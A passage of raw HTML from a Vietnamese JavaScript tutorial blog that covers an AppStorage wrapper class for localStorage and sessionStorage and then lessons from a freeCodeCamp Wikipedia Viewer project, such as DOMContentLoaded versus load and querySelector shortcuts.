dụng Mustache.js giống như trong bài viết <a href="/mustache-template-voi-jquery/">Mustache Template với jQuery</a>. Ở đây, mình tiếp tục sử dụng <a href="/su-dung-es6-template-string-co-gi-hay/">ES6 Template String</a> để xây dựng HTML Template.</p> <p>Bạn có thể xem thêm project <a href="/lap-trinh-javascript-voi-fcc-wikipedia-viewer/">Lập trình JavaScript với FCC – Wikipedia Viewer</a> để hiểu thêm về vấn đề này.</p> <h3 id="sử-dụng-web-storage-api" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-web-storage-api" aria-label="sử dụng web storage api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Web Storage API</h3> <p>Storage trong JavaScript bao gồm 2 loại: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage">localStorage</a> và <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage">sessionStorage</a>.</p> <h4 id="localstorage-và-sessionstorage-giống-và-khác-nhau-thế-nào" style="position:relative;"><a href="#localstorage-v%C3%A0-sessionstorage-gi%E1%BB%91ng-v%C3%A0-kh%C3%A1c-nhau-th%E1%BA%BF-n%C3%A0o" aria-label="localstorage và sessionstorage giống và khác nhau thế nào permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>localStorage và sessionStorage giống và khác nhau thế nào?</h4> <p><strong>Giống nhau:</strong></p> <ul> <li>Đều cho phép lưu trữ dữ liệu của trang web tương ứng với địa chỉ của trang. Nghĩa là dữ liệu của trang abc.com không thể truy cập đến dữ liệu của trang xyz.com được.</li> <li>Đều <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">giới hạn dung lượng cho phép</a>, trong khoảng 5MB đến 8MB.</li> <li>Đều lưu trữ và quản lý dữ liệu theo kiểu key - value, với các API giống nhau là: Storage.key(), Storage.getItem(), Storage.setItem(), Storage.removeItem(), Storage.clear().</li> </ul> <p><strong>Khác nhau:</strong> Dữ liệu lưu bằng sessionStorage sẽ bị xoá khi trang web bị đóng hoặc khi người dùng đóng trình duyệt. Trong khi, localStorage cho phép bạn lưu dữ liệu mãi mãi.</p> <h4 id="cách-sử-dụng" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng" aria-label="cách sử dụng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng</h4> <p>Về cách <a href="/tag/api/">sử dụng API</a> thì khá đơn giản và mình nghĩ bạn có thể dễ dàng hiểu được. Nên mình sẽ không giới thiệu lại phần này.</p> <p>Vấn đề quan trọng là: API của hai thằng này giống nhau nên mình sẽ xây dựng một class chung cho cả 2. Như vậy sẽ tiện sử dụng sau này.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">AppStorage</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">type</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">_storageAvailable</span><span class="token punctuation">(</span>type<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_appStorage <span class="token operator">=</span> window<span class="token punctuation">[</span>type<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"app-storage"</span><span class="token punctuation">,</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Your browser doesn't support </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>type<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">set</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> value<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_appStorage<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_appStorage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">get</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_appStorage<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_appStorage<span class="token punctuation">.</span><span class="token function">getItem</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">remove</span><span class="token punctuation">(</span><span class="token parameter">key</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_appStorage<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_appStorage<span class="token punctuation">.</span><span class="token function">removeItem</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">_storageAvailable</span><span class="token punctuation">(</span><span class="token parameter">type</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> storage <span class="token operator">=</span> window<span class="token punctuation">[</span>type<span class="token punctuation">]</span><span class="token punctuation">,</span> x <span class="token operator">=</span> <span class="token string">"__storage_test__"</span><span class="token punctuation">;</span> storage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> storage<span class="token punctuation">.</span><span class="token function">removeItem</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"app-storage"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> e <span class="token keyword">instanceof</span> <span class="token class-name">DOMException</span> <span class="token operator">&amp;&amp;</span> <span class="token comment">// everything except Firefox</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>code <span class="token operator">===</span> <span class="token number">22</span> <span class="token operator">||</span> <span class="token comment">// Firefox</span> e<span class="token punctuation">.</span>code <span class="token operator">===</span> <span class="token number">1014</span> <span class="token operator">||</span> <span class="token comment">/** * test name field too, because code might not be present * everything except Firefox */</span> e<span class="token punctuation">.</span>name <span class="token operator">===</span> <span class="token string">"QuotaExceededError"</span> <span class="token operator">||</span> <span class="token comment">// Firefox</span> e<span class="token punctuation">.</span>name <span class="token operator">===</span> <span class="token string">"NS_ERROR_DOM_QUOTA_REACHED"</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token comment">// acknowledge QuotaExceededError only if there's something already stored</span> storage<span class="token punctuation">.</span>length <span class="token operator">!==</span> <span class="token number">0</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Ở đây mình <a href="/js-pattern-constructor-pattern/">ứng dụng class</a> để xây dựng một lớp chung cho localStorage và sessionStorage. Trong hàm khởi tạo constructor, mình cần phải kiểm tra xem trình duyệt hiện tại có hỗ trợ kiểu storage hay không?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">type</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">_storageAvailable</span><span class="token punctuation">(</span>type<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_appStorage <span class="token operator">=</span> window<span class="token punctuation">[</span>type<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'app-storage'</span><span class="token punctuation">,</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Your browser doesn't support </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>type<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Với <em>type</em> có thể là: "localStorage" hoặc "sessionStorage". Và hàm <em>_storageAvailable</em> đơn giản là sẽ sử dụng thử một số API của nó. Nếu không có lỗi gì xảy ra thì <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> này sẽ trả về true, ngược lại kết quả sẽ là false.</p> <p>Bạn có thể xem thêm bài này để hiểu rõ hơn: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a>.</p> <p>Sau khi đã kiểm tra và chắc chắn rằng trình duyệt bạn đang sử dụng hỗ trợ localStorage hoặc sessionStorage thì việc sử dụng các API còn lại hoàn toàn giống với API ban đầu của chúng.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là một chút kiến thức, kinh nghiệm mà mình rút ra từ project Use the Twitch.tv JSON API. Nếu bạn thấy hữu ích hoặc có góp ý gì thì vui lòng để lại dưới phần bình luận cho mình nhé.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Lập trình JavaScript với FCC - Wikipedia Viewer]]><![CDATA[Tiếp tục với chủ đề Lập trình JavaScript với FCC, bài viết này mình sẽ tổng hợp lại những bài học kinh nghiệm, thủ thuật rút ra được từ project Wikipedia Viewer. Tuy nhiên, trước…]]>https://completejavascript.com/lap-trinh-javascript-voi-fcc-wikipedia-viewer/https://completejavascript.com/lap-trinh-javascript-voi-fcc-wikipedia-viewer/<![CDATA[AJAX]]><![CDATA[CORS]]><![CDATA[CSS]]><![CDATA[DOM]]><![CDATA[ES6]]><![CDATA[Event]]><![CDATA[Template]]><![CDATA[FCC]]>Mon, 12 Mar 2018 12:00:02 GMT<p>Tiếp tục với chủ đề Lập trình JavaScript với FCC, bài viết này mình sẽ tổng hợp lại những bài học kinh nghiệm, <a href="/21-thu-thuat-javascript-huu-ich/">thủ thuật</a> rút ra được từ project <strong>Wikipedia Viewer</strong>.</p> <p>Tuy nhiên, trước khi bắt đầu, mình muốn <strong>nhấn mạnh</strong> rằng bài viết này sẽ không đi vào giải thích chi tiết từng bước để làm được project (theo kiểu tutorials, step-by-step,...).</p> <p>Do đó, nếu bạn mới bắt đầu học JavaScript thì có thể bạn sẽ không hiểu nhiều chỗ. Lúc này, mình có hai giải pháp dành cho bạn. Đó là:</p> <ol> <li>Bạn nên đọc trước series bài viết về <a href="/javascript/">JavaScript cơ bản</a> và nhớ thực hành thật kỹ, rồi quay lại bài viết này sau.</li> <li>Bạn có thể tiếp tục đọc bài viết này và đặt câu hỏi cho mình trong phần bình luận phía dưới về những phần chưa hiểu rõ.</li> </ol> <p>Nếu đọc đến đây, nghĩa là bạn đã có kiến thức về JavaScript rồi phải không! Vậy thì bắt đầu nhé!</p> <h2 id="demo-wikipedia-viewer" style="position:relative;"><a href="#demo-wikipedia-viewer" aria-label="demo wikipedia viewer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo Wikipedia Viewer</h2> <p><a href="https://codepen.io/completejavascript/pen/WJxwgy"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/WJxwgy/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h2 id="wikipedia-viewer-có-tác-dụng-gì" style="position:relative;"><a href="#wikipedia-viewer-c%C3%B3-t%C3%A1c-d%E1%BB%A5ng-g%C3%AC" aria-label="wikipedia viewer có tác dụng gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><strong>Wikipedia Viewer có tác dụng gì?</strong></h2> <p>Wikipedia Viewer giúp bạn tìm kiếm nội dung trên trang <a href="https://en.wikipedia.org">Wikipedia</a> một cách dễ dàng hơn thay vì tìm kiếm trên Google.</p> <p>Tuy nhiên, nói vậy không có nghĩa là bạn nên vào web app của mình để tìm kiếm (vì mình cũng chẳng bao giờ sử dụng cái này cả). Thực chất, đây chỉ là một project giúp bạn thực hành kĩ năng lập trình web (HTML5, CSS3, JS). Đơn giản vậy thôi.</p> <p>Còn trong trường hợp bạn muốn tìm kiếm nội dung trên wikipedia thì bạn có thể sử dụng từ khóa <strong>site:tên-trang-web nội-dung-muốn-tìm</strong> với Google.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">site:https://en.wikipedia.org Hồ Chí Minh</code></pre></div> <p>Khi đó, kết quả tìm kiếm sẽ chỉ đến từ trang <em><a href="https://en.wikipedia.org">https://en.wikipedia.org</a></em> mà thôi. Bạn có thể xem kết quả ở <a href="https://www.google.com.vn/search?q=site%3Ahttps%3A%2F%2Fen.wikipedia.org+H%E1%BB%93+Ch%C3%AD+Minh&#x26;oq=site%3Ahttps%3A%2F%2Fen.wikipedia.org+H%E1%BB%93+Ch%C3%AD+Minh&#x26;aqs=chrome..69i57j69i58.347j0j4&#x26;sourceid=chrome&#x26;ie=UTF-8">đây</a>.</p> <p>Quay lại với nội dung chính của bài viết, đó là những bài học, kinh nghiệm và thủ thuật rút ra từ Wikipedia Viewer để áp dụng cho các project khác. Ngay sau đây, mình sẽ trình bày về vấn đề này.</p> <h2 id="những-bài-học-rút-ra-từ-wikipedia-viewer" style="position:relative;"><a href="#nh%E1%BB%AFng-b%C3%A0i-h%E1%BB%8Dc-r%C3%BAt-ra-t%E1%BB%AB-wikipedia-viewer" aria-label="những bài học rút ra từ wikipedia viewer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Những bài học rút ra từ Wikipedia Viewer</h2> <p><em>Chú ý: project này mình không sử dụng jQuery như các project trước. Thay vào đó, mình chỉ sử dụng JavaScript thuần.</em></p> <h3 id="sử-dụng-event-domcontentloaded-hay-load" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-event-domcontentloaded-hay-load" aria-label="sử dụng event domcontentloaded hay load permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng event DOMContentLoaded hay load?</h3> <p>Đây là 2 <a href="/xu-ly-mot-event-javascript-co-ban/">sự kiện</a> quan trọng khi bắt đầu một trang web. Tuy nhiên, chúng khác nhau như thế nào và bạn nên sử dụng cái nào?</p> <p>Mình có thể tóm tắt sự khác nhau như thế này:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a> được gọi khi toàn bộ HTML được load và <a href="/co-ban-ve-dom-javascript/">DOM</a> tree đã được xây dựng, tuy nhiên, stylesheets, ảnh hay subframes có thể vẫn chưa được load xong. Và sự kiện này gắn liền với đối tượng <a href="https://developer.mozilla.org/en/docs/Web/API/Document">document</a>.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/Events/load">load</a> được gọi sau DOMContentLoaded, cộng với stylesheets, ảnh hay subframes đã được load hết. Và đối tượng này gắn liền với <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window">window</a>.</li> </ul> <p>Do đó, sự kiện <strong>DOMContentLoaded</strong> sẽ được sử dụng khi bạn muốn truy vấn DOM, khởi tạo dữ liệu, chỉnh sửa giao diện,... Trường hợp bạn cần lấy kích thước ảnh, thì bạn phải xử lý việc này sau sự kiện <strong>load</strong>, vì lúc đó toàn bộ ảnh mới được tải xong.</p> <p>Vì vậy, mình sử dụng event <strong>DOMContentLoaded</strong> trong project này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">document<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"DOMContentLoaded"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Toàn bộ code sẽ ở trong đoạn này.</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="sử-dụng-queryselector" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-queryselector" aria-label="sử dụng queryselector permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng querySelector</h3> <p>Có thể, bạn đã quen sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById">Document.getElementById()</a> hay <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName">Document.getElementsByClassName()</a> để truy vấn DOM. Nếu vậy mình nghĩ bạn nên chuyển sang sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector">document.querySelector()</a>. Vì sao?</p> <p>Vì khi sử dụng phương thức này, bạn không chỉ lấy được Element bởi <strong>id</strong>, <strong>class</strong> mà còn có thể truy vấn theo nhiều dạng khác nhau. Bởi phương thức này sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS Selector</a> để truy vấn DOM.</p> <p><strong>Chú ý:</strong></p> <ul> <li>Phương thức này chỉ trả về 1 element đầu tiên thỏa mãn truy vấn. Nếu bạn muốn trả về một mảng của các element thỏa mãn thì có thể sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll">document.querySelectorAll()</a>.</li> <li>Ngoài ra, bạn có thể sử dụng <a href="/phan-biet-call-apply-va-bind-trong-javascript/">bind</a> để rút gọn phương thức này:</li> </ul> <p>Thay vì:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> ele1 <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#id1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ele2 <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".class2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ele3 <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"div.user-panel.main input[name='login']"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> $ <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Usage</span> <span class="token keyword">let</span> ele1 <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#id1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ele2 <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".class2"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> ele3 <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"div.user-panel.main input[name='login']"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nhìn chả khác gì jQuery phải không bạn?</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 46.06060606060606%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAJABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEAv/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/aAAwDAQACEAMQAAABmER5WGRv/8QAGRABAAIDAAAAAAAAAAAAAAAAAgASAQMQ/9oACAEBAAEFAgKR77GKY5//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAgEBPwEn/8QAGxAAAgEFAAAAAAAAAAAAAAAAAQIQABESIYH/2gAIAQEABj8CyZxyrDUNP//EABsQAAMAAgMAAAAAAAAAAAAAAAABEUFRECEx/9oACAEBAAE/IVSsmGp329iPaPBy4//aAAwDAQACAAMAAAAQnM//xAAWEQEBAQAAAAAAAAAAAAAAAAARARD/2gAIAQMBAT8QW5//xAAXEQEAAwAAAAAAAAAAAAAAAAAAAREx/9oACAECAQE/EMKh/8QAHRABAAIBBQEAAAAAAAAAAAAAAQARIRAxQVGxcf/aAAgBAQABPxC1BzCp+1BYalLmN+GO55fdA2n/2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="tăng tốc độ website - wikipedia viewer" title="tăng tốc độ website - wikipedia viewer" src="/static/3e993c6d72e85169204bf0d960be75b9/5ab81/airplain-speed.jpg" srcset="/static/3e993c6d72e85169204bf0d960be75b9/e4e7a/airplain-speed.jpg 165w, /static/3e993c6d72e85169204bf0d960be75b9/4f5c6/airplain-speed.jpg 330w, /static/3e993c6d72e85169204bf0d960be75b9/5ab81/airplain-speed.jpg 660w, /static/3e993c6d72e85169204bf0d960be75b9/7ed05/airplain-speed.jpg 990w, /static/3e993c6d72e85169204bf0d960be75b9/0a251/airplain-speed.jpg 1000w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="chỉ-query-dom-một-lần-giúp-nâng-cao-hiệu-năng" style="position:relative;"><a href="#ch%E1%BB%89-query-dom-m%E1%BB%99t-l%E1%BA%A7n-gi%C3%BAp-n%C3%A2ng-cao-hi%E1%BB%87u-n%C4%83ng" aria-label="chỉ query dom một lần giúp nâng cao hiệu năng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 